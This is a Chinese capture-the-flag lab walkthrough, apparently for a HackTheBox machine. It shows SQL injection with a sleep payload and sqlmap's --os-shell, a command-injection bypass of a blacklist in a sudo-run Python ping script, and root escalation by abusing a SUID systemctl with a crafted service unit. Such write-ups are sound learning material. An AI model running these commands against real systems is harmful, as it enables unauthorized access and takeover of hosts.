前言
- IP: 10.10.10.143
- 友好的盒子
0x00 注入注入
在web页面逛逛,在预定房间页面,
- url: “http://10.10.10.143/room.php?cod=2”
这不测试一下注入枉自为人了,很快可以发现这是个完全没有过滤的数字型注入:
- payload: “2 and sleep(5)”
成功延时,那还有啥好说的,直接sqlmap一把梭
试下命令执行,加上 “- -os-shell”,获得一个shell
0x01提权
对于这个盒子主要有两个可以用点
- sudo -l
- find / -perm -u+s -type f 2>/dev/null
有一个python脚本可以利用,但是只能sudo以pepper的身份执行
systemctl十分抢眼哦,拥有suid类型权限
所以思路就很清晰了,首先利用脚本升级为pepper,然后利用suid提权为root
- python脚本
审计一下,很容易发现其中的漏洞
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
我们只需要绕过forbidden即可进行命名执行,查了查可以通过如下格式绕过:
- ping 0.0.0.0 $(id)
- sudo -u pepper ./simpler.py
执行id成功
但是但是但是,千万别忘了forbidden这玩意儿还在呢,所以管道符,减号都没法用,直接弹shell可能不行,但是可以直接运行shell脚本呀,我们可以写个shell script然后运行就行了。
- suid
sudo sh -c 'cp $(which systemctl) .; chmod +s ./systemctl'
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF
如果未能成功,可使用:
systemctl status <service_name>
查看原因
成功拿到root权限
有一个很好的linux信息扫描的脚本:LinuxEnum
https://www.rebootuser.com/?p=1758
总结
思路清晰的盒子,我很喜欢!加油学习呀!